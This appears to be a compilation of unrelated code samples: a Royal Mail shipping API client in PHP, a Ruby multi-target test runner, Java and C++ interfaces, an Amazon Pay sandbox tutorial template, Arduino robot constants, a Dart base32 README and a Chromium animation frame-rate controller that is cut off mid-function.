define('STATIC_ENDPOINT', MODULE_ROOT . 'reference/ShippingAPI_V2_0_9.wsdl');
define('STATIC_CLIENT', '\RoyalMail\Connector\MockSoapClient');

use \RoyalMail\Connector\soapConnector as Connector;
use \RoyalMail\Helper\Data             as Store;
use \RoyalMail\Helper\Development      as DevHelper;
use \RoyalMail\Request\Builder         as Builder;
use \RoyalMail\Response\Interpreter    as Interpreter;

class RoyalMail {
  protected
    $connector   = NULL,
    $data_helper = NULL,
    $dev_helper  = NULL,
    $config = [
      'cache_wsdl'      => TRUE,
      'timezone'        => 'UTC',
      'username'        => NULL,
      'password'        => NULL,
      'application_id'  => NULL,
      'transaction_id'  => NULL,
      'mode'            => 'development',
      'request_schema'  => 'src/Request/schema',
      'response_schema' => 'src/Response/schema',
			'endpoint'				=> '',
      'soap_client_options'  => [
        'local_cert' => NULL,
        'trace'      => 1,
        'location'	 => ''
      ],
    ],

    $modes = [
      'development' => ['soap_client' => STATIC_CLIENT, 'endpoint' => STATIC_ENDPOINT, 'static_responses' => STATIC_RESPONSE_DIRECTORY],
      'onboarding'  => ['endpoint' => STATIC_ENDPOINT, 'soap_client_options' => ['location' => 'https://api.royalmail.net/shipping/v2']],
      'live'        => ['endpoint' => STATIC_ENDPOINT, 'soap_client_options' => ['location' => 'https://api.royalmail.com/shipping/v2']]
    ];

  /**
   * Create New
   *
   * @param array $args This should contain security details and config default overrides.
   *
   */
  function __construct($args = []) {
    $this->configure($args);
  }

  function processAction($action, $params, $config = []) {
    if (empty($params['integrationHeader'])) $params = $this->addIntegrationHeader($params);

    return  $this->interpretResponse($action,
              $this->send($action,
                $this->buildRequest($action, $params, $config)
              )
            );
  }

  function buildRequest($action, $params, $config = []) {
    return Builder::build($action, $params, $this->getDataHelper($config));
  }

  function send($action, $request, $config = []) {
    try {
      return $this->getConnector()->request($action, $request, $config);

    } catch (\SoapFault $e) {
      return new \RoyalMail\Exception\ResponseException(array_merge(['exception' => $e], $this->getConnector()->getDebugInfo()));
    }
  }

  function interpretResponse($action, $response) {
    return new Interpreter($action, $response, []);
  }

  function addIntegrationHeader($params) {
    $params['integrationHeader'] = [
      'applicationId' => $this->getConfig()['application_id'],
      'transactionId' => $this->getConfig()['transaction_id'],
    ];

    if (! empty($params['transaction_id'])) {
      $params['integrationHeader']['transactionId'] = $params['transaction_id'];
      unset($params['transaction_id']);
    }

    return $params;
  }

  /**
   * Get the appropriate connector class
   *
   * @return \RoyalMail\Connector\baseConnector Variation on...
   */
  function getConnector() {
    if (empty($this->connector)) $this->connector = new Connector($this->config);

    return $this->connector;
  }

  function getDataHelper($config = []) {
    if (empty($this->data_helper)) $this->data_helper = new Store($config);

    return $this->data_helper;
  }

  /**
   * Set up config values, these are merged with the defaults.
   *
   * @param array
   *
   * @return RoyalMail\RoyalMail $this
   */
  function configure($config = []) {
    $this->config = array_replace_recursive($this->config, $this->modes[@$config['mode'] ?: $this->config['mode']]);

    $this->config = array_replace_recursive($this->config, $config);

    return $this;
  }

  function getConfig($key = NULL) {
    return (empty($key)) ? $this->config : $this->config[$key];
  }

  function getAvailableActions() {
    $actions = [];

    foreach (glob(MODULE_ROOT . $this->getConfig('request_schema') . '/*.yml') as $schema) {
      $actions[] = basename($schema, '.yml');
    }

    return $actions;
  }

  function getDevelopmentHelper() {
    if (empty($this->dev_helper)) $this->dev_helper = new DevHelper($this->getConfig());

    return $this->dev_helper;
  }

  function __call($method, $args) {
    if (in_array($method, $this->getAvailableActions())) {
      return call_user_func_array([$this, 'processAction'], array_merge([$method], $args));
    }

    throw new \BadMethodCallException('Action "' . $method . '"" not configured.');
  }
}


text:
module Garlic
  # this class runs the top level garlic commands
  class Session
    attr_reader :actor, :run_targets
    attr_accessor :repos, :targets, :repo_path, :work_path, :verbose

    def initialize(actor = nil, &block)
      @actor = actor
      self.repos = []
      self.targets = []
      self.work_path = ".garlic"
      self.repo_path = "~/.garlic/repos"
      configure(&block) if block_given?
    end

    def configure(&block)
      Configurator.new(self, &block)
    end

    def repo(name)
      repos.detect {|r| r.name == name.to_s} or raise "Can't find repo: #{name}"
    end

    # convert a possible string argument into an array
    def run_targets=(targets)
      targets = targets.split(',').map{|t| t.strip} if targets.is_a?(String)
      @run_targets = targets
    end

    ### garlic commands ###

    # meta data about command methods which can be used by both rake and the cli tool
    @@commands, @@command_descriptions = [], {}

    class << self
      def define_command(name, desc, &block)
        @@commands << name
        @@command_descriptions[name] = desc
        define_method name, &block
      end

      def commands_with_description
        @@commands.map{|m| [m, @@command_descriptions[m]]}
      end

      def command_description(name)
        @@command_descriptions[name]
      end

      def commands
        @@command_descriptions.keys.map {|c| c.to_s}
      end
    end

    define_command :default, "Check repos, prepare TARGETs, and run TARGETs" do
      check_repos
      prepare
      run
    end

    define_command :all, "Install and update all repos, prepare and run TARGETs" do
      install_repos
      update_repos
      clean
      prepare
      run
    end

    define_command :install_repos, "Install required repositories" do
      repos.each {|repo| repo.install}
    end

    define_command :update_repos, "Update repositories" do
      repos.each {|repo| repo.update}
    end

    define_command :check_repos, "Check that repos are what they are supposed to be" do
      errors = []
      repos.each do |repo|
        begin
          repo.check
        rescue Exception => e
          errors << "- #{e.message}"
        end
      end
      errors.length == 0 or raise "\n#{errors.join("\n")}\n\nPlease remove these repos and run garlic install_repos\n"
    end

    define_command :reset_repos, "Reset all repos to their master branch" do
      repos.each {|repo| repo.reset}
    end

    define_command :clean, "Remove the work done by garlic" do
      rm_rf work_path
    end

    define_command :prepare, "Prepare each garlic TARGET" do
      determine_targets.each {|target| target.prepare }
    end

    define_command :shell, "Run shell commands from stdin across specified targets" do |*path|
      shell = Shell.new(determine_targets)
      shell.current_path = path.first if path.first
      shell.run
    end

    define_command :path, "return the work dir for the specified target" do |*path_target|
      self.run_targets = path_target.first if path_target.any?
      puts determine_targets.first.path
    end

    define_command :run, "Run each garlic TARGET" do
      these_targets = determine_targets
      target_names, failed_names = these_targets.map{|t| t.name}, []

      puts "\n#{'='*78}\nTargets: #{target_names.join(', ')}\n#{'='*78}\n"
      these_targets.each do |target|
        puts "\n#{'-'*78}\nTarget: #{target.name} (commit #{target.rails_sha[0..6]}, run at #{Time.now})\n#{'-'*78}\n"
        begin
          target.run
          puts "\ntarget: #{target.name} PASS"
        rescue
          puts "\ntarget: #{target.name} FAIL"
          failed_names << target.name
        end
      end
      puts "\n#{'='*78}\n"
      failed_names.length > 0 and raise "The following targets passed: #{(target_names - failed_names).join(', ')}.\n\nThe following targets FAILED: #{failed_names.join(', ')}.\n\n"
      puts "All specified targets passed: #{target_names.join(', ')}.\n\n"
    end

    def respond_to?(method)
      super(method) || (actor && actor.respond_to?(method))
    end

protected
    def method_missing(method, *args, &block)
      actor ? actor.send(method, *args, &block) : super
    end

    def determine_targets
      run_targets ? targets.select{|t| t.name =~ /(?:#{run_targets.join("|")})/i} : targets
    end
  end
end


text:
#include "dcmtk/config/osconfig.h"    /* make sure OS specific configuration is included first */

#include "dcmtk/dcmsr/dsriodcc.h"

DSRIODConstraintChecker::DSRIODConstraintChecker()
{
}

DSRIODConstraintChecker::~DSRIODConstraintChecker()
{
}


text:
module CarryOut
  class Error < StandardError
    attr_reader :details

    def initialize(message, details = nil)
      super message
      @details = details
    end
  end
end


text:
package org.apache.camel.component.activemq.support;

import java.nio.file.Path;

import org.apache.camel.test.junit5.CamelTestSupport;

public interface ActiveMQSupport {

    default String vmUri() {
        return "vm://" + getClass().getSimpleName();
    }

    default String vmUri(String query) {
        return "vm://" + getClass().getSimpleName() + (query.startsWith("?") ? "" : "-") + query;
    }

    default Path testDirectory() {
        return CamelTestSupport.testDirectory(getClass(), false);
    }
}


text:
package org.elasticsearch.search.aggregations.bucket.range;

import org.elasticsearch.search.aggregations.bucket.MultiBucketsAggregation;

import java.util.Collection;
import java.util.List;

/**
 * A {@code range} aggregation. Defines multiple buckets, each associated with a pre-defined value range of a field,
 * and where the value of that fields in all documents in each bucket fall in the bucket's range.
 */
public interface Range extends MultiBucketsAggregation {

    /**
     * A bucket associated with a specific range
     */
    public static interface Bucket extends MultiBucketsAggregation.Bucket {

        /**
         * @return  The lower bound of the range
         */
        Number getFrom();

        /**
         * @return  The upper bound of the range (excluding)
         */
        Number getTo();
    }

    /**
     * Return the buckets of this range aggregation.
     */
    List<? extends Bucket> getBuckets();

    @Override
    Bucket getBucketByKey(String key);

}


text:
{% extends "base.html" %}

{% block head %}
    {{ super() }}

{% endblock head %}

{% block content %}

Select Shipping and Payment Method

Select your billing address and payment method
    from the widgets below.

Notice in the URL above there are several parameters available.
    The 'access_token' should be saved in order to obtain address line one and
    two of the shipping address associated with the payment method.

{{ session['access_token'] }}

This is known as the address consent token. It is passed to the GetOrderReferenceDetails API
    call to retrieve information about the order reference Id that is generated
    by the widgets.

If you see a error message in the widgets you will need to
    start over. This usually indicates that your session has expired. If the problem
    persists please contact developer support.

        <form class="form-horizontal" style="margin-top:40px;" role="form" method="post" action="/confirm">
            <button id="place-order" class="btn btn-lg btn-success">Place Order</button>

        </form>

{% endblock content%}

{% block api %}

Create the widget containers.

<div id="addressBookWidgetDiv" style="width:400px; height:240px;"></div>
<div id="walletWidgetDiv" style="width:400px; height:240px;"></div>

Add script to set the client Id just as you did for displaying the Amazon Pay button.

<script type='text/javascript'>
    window.onAmazonLoginReady = function () {
        amazon.Login.setClientId('{{ session['client_id'] }}');
        amazon.Login.setUseCookie(true);
    };
</script>

Import widgets javascript. This must be loaded after you set the client Id above.

<script type='text/javascript' src='https://static-na.payments-amazon.com/OffAmazonPayments/us/sandbox/js/Widgets.js'></script>

Add the widgets code. You can use the onOrderReferenceCreate method to
obtain information about the order reference Id. In the example, we are using jQuery
to make a AJAX POST.

<script type="text/javascript">
    new OffAmazonPayments.Widgets.AddressBook({
        sellerId: '{{ session['merchant_id'] }}',
        onOrderReferenceCreate: function (orderReference) {
            // make a call to the back-end that will set order reference details
            // and get order reference details. This will set the order total
            // to 19.95 and return order reference details.
            $.post("/get_details", {
                orderReferenceId: orderReference.getAmazonOrderReferenceId()
            }).done(function (data) {
                $("#get_details_response").html(data);
            }),
        },
        onAddressSelect: function () {
            // do stuff here like recalculate tax and/or shipping
        },
        design: {
            designMode: 'responsive'
        },
        onError: function (error) {
            // your error handling code
        }
    }).bind("addressBookWidgetDiv");

    new OffAmazonPayments.Widgets.Wallet({
        sellerId: '{{ session['merchant_id'] }}',
        onPaymentSelect: function () {
        },
        design: {
            designMode: 'responsive'
        },
        onError: function (error) {
            // your error handling code
        }
    }).bind("walletWidgetDiv");
</script>

These are the back-end API calls to SetOrderReferenceDetails and GetOrderReferenceDetails.
These API calls set the order total to 19.95 and gets the order reference details.

Refer to the /get_details endpoint in the 'lpa-python-sdk-sample.py'
file for more details.

from pay_with_amazon.client import PayWithAmazonClient

client = PayWithAmazonClient(
    mws_access_key=session['mws_access_key'],
    mws_secret_key=session['mws_secret_key'],
    merchant_id=session['merchant_id'],
    sandbox=True,
    region='na',
    currency_code='USD')

order_reference_id = request.form['orderReferenceId']

response = client.set_order_reference_details(
    amazon_order_reference_id=order_reference_id,
    order_total='19.95')

if response.success:
    response = client.get_order_reference_details(
        amazon_order_reference_id=order_reference_id,
        address_consent_token=session['access_token'])

pretty = json.dumps(
    json.loads(
        response.to_json()),
    indent=4)
return pretty

This is the live response from the previous API call.

{% endblock api %}


text:
const boolean fastmode = true;

//GPS Baud Rate
#define GPSBaud 57600

//int fowardheadThreshold = 52;  	//30.48,41,51,52      headservo - obs[3]
//int lcThreshold = 50; 	        //40.64,38,45,50      sonarlc obs[1]
//int lcIRthreshold = 40;  //was 45
//int sideSensorThreshold = 45;	        //50.8,38,45,41,45,36	sonarll (points to right) obs[0]
//
//const int obsDist = 27;
int obsDist = 47; //was 47
int sidedistancelimit = 37;  // was 27
int fowardheadThreshold = 37; //was 49, 39, 29; was 27
int lcThreshold = 36;         // was 47,27; was 26
int lcIRthreshold = 35;  //was 45, last 47; was 27
int sideSensorThreshold = 37; //was 42; was 27
int max_IR_distance = 200;
int turnCounter = 0;

const int backupSensorThreshold = 17;		//17.78 - not implemented yet
const int backup_high = 500;
const int backup_low = 100;

//Set Motor Speed
const int speed = 50;
const int turnSpeed = 150;
const float lf_mtr_adj = 1.5;
const float rr_mtr_adj = 0.97;
const float lr_mtr_adj = 1.15;
const float rf_mtr_adj = 1.0;
int turn_time_mult = 2;
int turn_time;

// Ground surface type, default hard surface
int gnd_type = 1;

#define v2Amps 0.004f

const int left_37 = 250;	//was 387 for 37 deg, 250 for 22deg
const int right_37 = 295;	//was 440 for 37, 295 for 22 deg
const int left_57 = 461;	//was 571 for 57, 461 for 45
const int right_57 = 519;	//was 636 for 57, 519 for 45

#define M_PI 3.14159265359
#define rad2deg 57.2957795

//compass reads
const int compass_avg_cnt = 20;
const float alpha = 0.5;

//sets up servo angles
const int head_fwd = 90;
const int head_lft = 0;
const int head_rt = 180;
const int head_ldiag = 45;
const int head_rdiag = 135;

#define SONAR_NUM     4    			// Number or sensors.
#define MAX_DISTANCE 100   			// Maximum distance (in cm) to ping. was 200
#define PING_INTERVAL 32   			// Milliseconds between sensor pings (29ms is about the min to avoid cross-sensor echo).
                                          // was set to 33; was 40
// the interval in mS
//#define interval 7500    //was 7500
#define interval 100
#define interval1 2000
#define defaultTurnTime 1000
#define defaultFwdTime 7000
#define defaultRevTime 700
#define defaultTelemTime 100

//Bubble Rebound Parameters
const float V = 21;
const float Ki = 0.2;

const int N = 25;  //was 10, 12 for 12 readings, was 12
const int angle = 7.5;  //was 20 degrees, was 15 for 12

//rcarduino constants
#define RC_NEUTRAL_STEERING 1506  //1504 was 1506
#define RC_NEUTRAL_THROTTLE 1504  //1500 was 1511

#define RC_MAX_STEERING 1996
#define RC_MAX_THROTTLE 1996

#define RC_MIN_STEERING 1016  //1012 was 1016
#define RC_MIN_THROTTLE 1012  //1012 was 1014

#define RC_DEADBAND 30

#define RC_MODE_TOGGLE 1500

uint16_t unSteeringMin = RC_MIN_THROTTLE;
uint16_t unSteeringMax = RC_MAX_STEERING;
uint16_t unSteeringCenter = RC_NEUTRAL_STEERING;

uint16_t unThrottleMin = RC_MIN_THROTTLE;
uint16_t unThrottleMax = RC_MAX_THROTTLE;
uint16_t unThrottleCenter = RC_NEUTRAL_THROTTLE;

uint16_t ThrottleDeadBandMax = RC_NEUTRAL_THROTTLE + RC_DEADBAND;
uint16_t ThrottleDeadBandMin = RC_NEUTRAL_THROTTLE - RC_DEADBAND;
uint16_t SteeringDeadBandMax = RC_NEUTRAL_STEERING + RC_DEADBAND;
uint16_t SteeringDeadBandMin = RC_NEUTRAL_STEERING - RC_DEADBAND;

#define PWM_MIN 0
#define PWM_MAX 200

#define GEAR_NONE 0
#define GEAR_IDLE 1
#define GEAR_FULL 2
#define GEAR_NEUTRAL 3

// These bit flags are set in bUpdateFlagsShared to indicate which
// channels have new signals
#define THROTTLE_FLAG 1
#define STEERING_FLAG 2
#define RC_FLAG 3

uint8_t gThrottle = 0;
uint8_t gGear = GEAR_NONE;
uint8_t gOldGear = GEAR_NONE;

#define DIRECTION_STOP 0
#define DIRECTION_FORWARD 1
#define DIRECTION_REVERSE 2
#define DIRECTION_ROTATE_RIGHT 3
#define DIRECTION_ROTATE_LEFT 4
#define DIRECTION_PIVOT_RIGHT 5
#define DIRECTION_PIVOT_LEFT 6

uint8_t gThrottleDirection = DIRECTION_STOP;
uint8_t gDirection = DIRECTION_STOP;
uint8_t gOldDirection = DIRECTION_STOP;

#define IDLE_MAX 40

#define MODE_RUN 1
#define MODE_PROGRAM 0

uint8_t gMode = MODE_RUN;
uint32_t ulProgramModeExitTime = 0;


text:
#include "ConstructDefaultPluginWindows.h"
#include "KeyCodesCarbon.h"
#include "PluginEvents/MacEventCarbon.h"
#include "PluginEvents/GeneralEvents.h"
#include "PluginEvents/DrawingEvents.h"
#include "PluginEvents/MouseEvents.h"
#include "PluginEvents/KeyboardEvents.h"

#include "PluginWindowMac.h"
#include "PluginEventMacCarbon.h"

using namespace FB;

#ifndef NP_NO_CARBON

PluginEventMacCarbon::PluginEventMacCarbon()
    : PluginEventMac(), m_old_h(0.0f), m_old_v(0.0f), m_mouseEntered(false)
    , m_tisKeyLayoutData(NULL), m_deadKeyState(0)
#if __MAC_OS_X_VERSION_MAX_ALLOWED >= 1050
    , m_tisInputSource(NULL)
#endif
{
#if __MAC_OS_X_VERSION_MAX_ALLOWED >= 1050
    m_tisInputSource = TISCopyCurrentKeyboardInputSource();
    m_tisKeyLayoutData = (CFDataRef) TISGetInputSourceProperty(m_tisInputSource, kTISPropertyUnicodeKeyLayoutData);
#endif
}

PluginEventMacCarbon::~PluginEventMacCarbon()
{
#if __MAC_OS_X_VERSION_MAX_ALLOWED >= 1050
    if (m_tisInputSource) {
        CFRelease(m_tisInputSource);
        m_tisInputSource = NULL;
    }
#endif
}

Point PluginEventMacCarbon::GlobalToLocal(Point location) {
    Point rval = { location.v, location.h };
    PluginWindowMacPtr pluginWindow = m_PluginWindow.lock();
    if (pluginWindow) {
        WindowRef window = pluginWindow->getWindowRef();
        // Convert the global mouse location to window structure location.
        HIPoint local = {location.h, location.v};
        HIPointConvert(&local, kHICoordSpaceScreenPixel, NULL, kHICoordSpaceWindow, window);

        // Get the location of the structure and port in the window.
        ::Rect structRect = {0}, portRect= {0};
        OSStatus status = GetWindowBounds(window, kWindowStructureRgn, &structRect);
        status = GetWindowBounds(window, kWindowGlobalPortRgn, &portRect);

#if 0   // This used to be necessary, but doesn't seem to be needed with Firefox 3.6.18 Carbon/CoreGraphics.
        // Convert window structure location to window port location by subtracting out the offset of the port in the structure.
        local.x -= portRect.left - structRect.left;
        local.y -= portRect.top - structRect.top;
#endif
        // Convert window port location to plugin location.
        FB::Rect bounds = pluginWindow->getWindowPosition();
        rval.h = local.x - bounds.left;
        rval.v = local.y - bounds.top;
    }
    return rval;
}

bool PluginEventMacCarbon::isMouseOver(Point localPt) {
    // Did mouse event happen inside the plugin's clip rect?
    bool rval = false;
    PluginWindowMacPtr pluginWindow = m_PluginWindow.lock();
    if (pluginWindow) {
        FB::Rect bounds = pluginWindow->getWindowPosition();
        localPt.h += bounds.left;
        localPt.v += bounds.top;
        FB::Rect clip = pluginWindow->getWindowClipping();
        rval = ((clip.left <= localPt.h) && (localPt.h < clip.right) && (clip.top <= localPt.v) && (localPt.v < clip.bottom));
    }
    return rval;
}

int16_t PluginEventMacCarbon::HandleEvent(void* event)
{
    EventRecord* evt = (EventRecord*) event;
    PluginWindowMacPtr pluginWindow = m_PluginWindow.lock();
    if (!pluginWindow)
        return false;

    // Give the plugin a chance to handle the event itself if desired
    MacEventCarbon macEvent(evt);
    CarbonToNPCocoaEvent(evt, macEvent.msgCocoa);
    if (pluginWindow->SendEvent(&macEvent)) {
        return true;
    }

    // Otherwise process the event into FireBreath platform-agnostic events
    switch (evt->what) {
        case mouseDown:
        {
            Point local = GlobalToLocal(evt->where);
            MouseDownEvent ev(MouseButtonEvent::MouseButton_Left, local.h, local.v);
            return pluginWindow->SendEvent(&ev);
        }

        case mouseUp:
        {
            Point local = GlobalToLocal(evt->where);
            MouseUpEvent ev(MouseButtonEvent::MouseButton_Left, local.h, local.v);
            return pluginWindow->SendEvent(&ev);
        }

        case keyDown:
        {
            // I don't know why, but the key codes are shifted 8 bits left,
            // we must shift them back to their natural positions before
            // the keymap can work properly
            FBKeyCode fb_key = CarbonKeyCodeToFBKeyCode((evt->message & keyCodeMask) >> 8);
            unsigned int os_key = (evt->modifiers & 0xFFFF0000) | (evt->message & (charCodeMask | keyCodeMask));
            KeyDownEvent ev(fb_key, os_key);
            return pluginWindow->SendEvent(&ev);
        }

        case keyUp:
        {
            // I don't know why, but the key codes are shifted 8 bits left,
            // we must shift them back to their natural positions before
            // the keymap can work properly
            FBKeyCode fb_key = CarbonKeyCodeToFBKeyCode((evt->message & keyCodeMask) >> 8);
            unsigned int os_key = (evt->modifiers & 0xFFFF0000) | (evt->message & (charCodeMask | keyCodeMask));
            KeyUpEvent ev(fb_key, os_key);
            return pluginWindow->SendEvent(&ev);
        }

#if 0 // Should use NPEventType_AdjustCursorEvent below.
        case nullEvent: // This is totally a hack
        {
            // Get mouse coordinates and fire an event to the plugin
            if ((this->m_old_h != evt->where.h) || (this->m_old_v != evt->where.v)) {
                this->m_old_h = evt->where.h;
                this->m_old_v = evt->where.v;

                Point local = GlobalToLocal(evt->where);

                // Did mouse event happen inside the plugin's clip rect?
                if(isMouseOver(local)) {
                    MouseMoveEvent mmEvt(local.h, local.v);
                    pluginWindow->SendEvent(&mmEvt);
                }
            }
            return false;
        }
#endif

        case updateEvt:
        {
            FB::Rect bounds = pluginWindow->getWindowPosition(), clip = pluginWindow->getWindowClipping();
            switch(pluginWindow->getDrawingModel()) {
                case PluginWindowMac::DrawingModelCoreGraphics: {
                    CoreGraphicsDraw ev((CGContextRef)pluginWindow->getDrawingPrimitive(), bounds, clip);
                    return pluginWindow->SendEvent(&ev);
                } break;
                case PluginWindowMac::DrawingModelQuickDraw: {
                    QuickDrawDraw ev((CGrafPtr) pluginWindow->getDrawingPrimitive(), bounds, clip);
                    return pluginWindow->SendEvent(&ev);
                } break;
                default: {
                    RefreshEvent ev;
                    return pluginWindow->SendEvent(&ev);
                } break;
            }
            break;
        }

        case NPEventType_AdjustCursorEvent:
        {
            Point local = GlobalToLocal(evt->where);
            if(isMouseOver(local)) {
                MouseMoveEvent mmEvt(local.h, local.v);
                pluginWindow->SendEvent(&mmEvt);
            }
        }

        default:
            break;
    }
    return false;
}
#endif


text:
[![Dart](https://github.com/Daegalus/dart-base32/workflows/Dart/badge.svg)](https://github.com/Daegalus/dart-base32/actions)

# dart-base32

Simple base32 encode/decode following RFC4648. Can handle base32 for OTP secrets also.

Features:

* Encodes and Decodes Base32 strings.
* [Documentation](https://daegalus.github.io/dart-base32/)

## Getting Started

### Pubspec

pub.dev: (you can use 'any' instead of a version if you just want the latest always)

```yaml
dependencies:
  base32: 2.1.3
```

```dart
import 'package:base32/base32.dart';
```

Start encoding/decoding ...

```dart
// Encode a hex string to base32
base32.encodeHexString('48656c6c6f21deadbeef'); // -> 'JBSWY3DPEHPK3PXP'

// base32 decoding to original string.
base32.decodeAsHexString("JBSWY3DPEHPK3PXP"); // -> '48656c6c6f21deadbeef'
```

## API

### `base32.encode(List<int> byteList, {Encoding encoding = Encoding.standardRFC4648})`

Generate and return a RFC4648 base32 string from a list of bytes.

* `byteList` - (`List<int>`) A list of bytes representing your input.

Returns `String` representation of the encoded base32.

### `base32.encodeHexString(String hex, {Encoding encoding = Encoding.standardRFC4648})`

Generate and return a RFC4648 base32 string from a hex string.

* `hexString` - (`String`) A string of hex values intended to be converted to bytes and encoded.

Returns `String` representation of the encoded base32

Example: Encode a hex string.

```dart
base32.encodeHexString('48656c6c6f21deadbeef'); // -> 'JBSWY3DPEHPK3PXP'
```

### `base32.encodeString(String base32str, {Encoding encoding = Encoding.standardRFC4648})`

Generate and return a RFC4648 base32 string from a plain string.

* `base32str` - (`String`) A string intended to be converted to bytes and encoded.

Returns `String` representation of the encoded base32

Example: Encode a hex string.

```dart
base32.encodeString('foobar'); // -> 'MZXW6YTBOI======'
```

### `base32.decode(String base32, {Encoding encoding = Encoding.standardRFC4648})`

Decodes a base32 string back to its original byte values.

* `base32` - (`String`) The base32 string you wish to decode.

Returns `Uint8List` of the decoded data.

Example: Decode a base32 string, then output it in hex format

```dart
import "package:convert/convert.dart"
var decoded = base32.decode("JBSWY3DPEHPK3PXP");
var decodedHex = hex.encode(decoded); // -> '48656c6c6f21deadbeef'
```

### `base32.decodeAsHexString(String base32, {Encoding encoding = Encoding.standardRFC4648})`

Decodes a base32 string back to its original byte values in hex string format.

* `base32` - (`String`) The base32 string you wish to decode.

Returns `String` of the decoded data.

Example: Decode a base32 string to a hex string.

```dart
import "package:convert/convert.dart"
var decoded = base32.decodeAsHexString("JBSWY3DPEHPK3PXP"); // -> '48656c6c6f21deadbeef'
```

### `base32.decodeAsString(String base32, {Encoding encoding = Encoding.standardRFC4648})`

Decodes a base32 string back to its original byte values.

* `base32` - (`String`) The base32 string you wish to decode.

Returns `String` of the decoded data.

Example: Decode a base32 string to a string.

```dart
var decoded = base32.decodeAsString("MZXW6YTBOI======"); // -> 'foobar'
```

### `enum Encoding`

This is a list of supported variants and their different encodings.

- StandardRFC4648 - the default standard encoding
  - `ABCDEFGHIJKLMNOPQRSTUVWXYZ234567`
  - Padded with `=`
- base32Hex
  - `0123456789ABCDEFGHIJKLMNOPQRSTUV`
  - Padded with `=`
- crockford
  - `0123456789ABCDEFGHJKMNPQRSTVWXYZ`
  - Not Padded
- z-base-32
  - `ybndrfg8ejkmcpqxot1uwisza345h769`
  - Not Padded
- geohash
  - `0123456789bcdefghjkmnpqrstuvwxyz`
  - Padded with `=`
- NonStandardRFC4648 - Same as StandardRFC4648, but lowercase, not supported by the spec.
  - `abcdefghijklmnopqrstuvwxyz234567`
  - Padded with `=`

## Testing

```bash
dart test/base32_test.dart
```

## Changelog

See CHANGELOG.md


text:
source ~/.virtualenv/appdocs/bin/activate
cd /home/brian/webapps/appdocs
git pull origin master
make html


text:
namespace ash {
namespace {

AmbientAnimationFrameRateSchedule BuildSchedule(lottie::Animation* animation) {
  DCHECK(animation);
  AmbientAnimationFrameRateSchedule schedule =
      BuildAmbientAnimationFrameRateSchedule(
          animation->skottie()->GetAllMarkers());
  if (schedule.empty()) {
    // This means the animation file needs to be fixed. This should never happen
    // in the field in theory, but just in case, resort to the default frame
    // rate schedule (no throttling).
    LOG(DFATAL) << "Ambient animation has invalid frame rate markers.";
    schedule = BuildDefaultFrameRateSchedule();
  }
  return schedule;
}

}  // namespace

AmbientAnimationFrameRateController::AmbientAnimationFrameRateController(
    FrameThrottlingController* frame_throttling_controller)
    : frame_throttling_controller_(frame_throttling_controller),
      current_section_(schedule_.end()) {
  DCHECK(frame_throttling_controller_);
}

AmbientAnimationFrameRateController::~AmbientAnimationFrameRateController() {
  ThrottleFrameRate(kDefaultFrameInterval);
}

void AmbientAnimationFrameRateController::AnimationFramePainted(
    const lottie::Animation* animation,
    float) {
  if (animation != tracking_animation_.get())
    return;

  auto new_current_section = FindCurrentSection();
  if (new_current_section == current_section_)
    return;

  DVLOG(1) << "Found new frame rate section: " << *new_current_section;
  current_section_ = new_current_section;
  ThrottleFrameRateForCurrentSection();
}

// Note either AnimationIsDeleting() or OnWindowDestroying() could come first.
// Whichever one does should cause both the window and animation to be removed
// from book-keeping entirely.
void AmbientAnimationFrameRateController::AnimationIsDeleting(
    const lottie::Animation* deleting_animation) {
  aura::Window* window_to_remove = nullptr;
  for (const auto& [window, animation] : windows_to_throttle_) {
    if (animation == deleting_animation) {
      window_to_remove = window;
      break;
    }
  }
  DCHECK(window_to_remove);
  RemoveWindowToThrottle(window_to_remove);
}

void AmbientAnimationFrameRateController::OnWindowDestroying(
    aura::Window* window) {
  RemoveWindowToThrottle(window);
}

void AmbientAnimationFrameRateController::AddWindowToThrottle(
    aura::Window* window,
    lottie::Animation* animation) {
  DCHECK(window);
  DCHECK(window->GetFrameSinkId().is_valid())
      << "Window missing frame sink id: " << window->GetId();
  DCHECK(animation);
  if (windows_to_throttle_.contains(window))
    return;

  if (tracking_animation_) {
    DCHECK_EQ(tracking_animation_->skottie()->id(), animation->skottie()->id())
        << "All lottie animations must have the same json content";
  }
  windows_to_throttle_[window] = animation;
  TrySetNewTrackingAnimation();
  // Always observe even if the incoming |animation| is not the
  // |tracking_animation_| so that we get notified when AnimationIsDeleting().
  animation_observations_.AddObservation(animation);
  window_observations_.AddObservation(window);
  // Update throttling with the expanded list of |windows_to_throttle_|.
  ThrottleFrameRateForCurrentSection();
}

AmbientAnimationFrameRateScheduleIterator
AmbientAnimationFrameRateController::FindCurrentSection() const {
  DCHECK(tracking_animation_);
  absl::optional<float> current_progress =
      tracking_animation_->GetCurrentProgress();
  if (!current_progress) {
    DVLOG(1) << "Animation is not playing currently. Cannot map timestamp to "
                "scheduled frame rate.";
    return schedule_.end();
  }

  // Always start searching from the last section the animation was on. Since
  // animations progress linearly in small increments, most of the time, the
  // |current_section_| will not change.
  AmbientAnimationFrameRateScheduleIterator new_current_section =
      current_section_ == schedule_.end() ? schedule_.begin()
                                          : current_section_;
  AmbientAnimationFrameRateScheduleIterator orig_current_section =
      new_current_section;
  while (!new_current_section->Contains(*current_progress)) {
    ++new_current_section;
    // Note the AmbientAnimationFrameRateSchedule by design is contiguous. Every
    // possible timestamp falls within a section of the schedule, so it's
    // impossible to infinite loop here.
    DCHECK(new_current_section != orig_current_section)
        << "Infinite loop detected. AmbientAnimationFrameRateSchedule has gap "
           "and is malformed.";
    // The schedule is cyclic. Loop back to the beginning.
    if (new_current_section == schedule_.end())
      new_current_section = schedule_.begin();
  }
  return new_current_section;
}

void AmbientAnimationFrameRateController::ThrottleFrameRateForCurrentSection() {
  // TODO(esum): There is a corner case not accounted for yet. Say the frame
  // interval is large (1 second). And say we throttle to 1 fps at time 10 sec,
  // and we need to restore the default 60 fps at 19.1 sec. We will get:
  // AnimationFramePainted(10 sec)
  // AnimationFramePainted(11 sec)
  // ...
  // AnimationFramePainted(19 sec) - Still not past the 19.1 second mark
  // AnimationFramePainted(20 sec) - Switch back to 60 fps here.
  //
  // This is bad because we switch back .9 seconds too late, which is a lot.
  // To fix this, we could start a timer that fires when the current section is
  // over and we need to switch to the new frame rate. It currently is not a
  // problem because in practice, the frame rates never get small enough to
  // notice this issue. But it will be a problem with the slideshow lottie
  // animation.
  if (current_section_ != schedule_.end())
    ThrottleFrameRate(current_section_->frame_interval);
}

void AmbientAnimationFrameRateController::ThrottleFrameRate(
    base::TimeDelta frame_interval) {
  std::vector<aura::Window*> windows_as_vector;
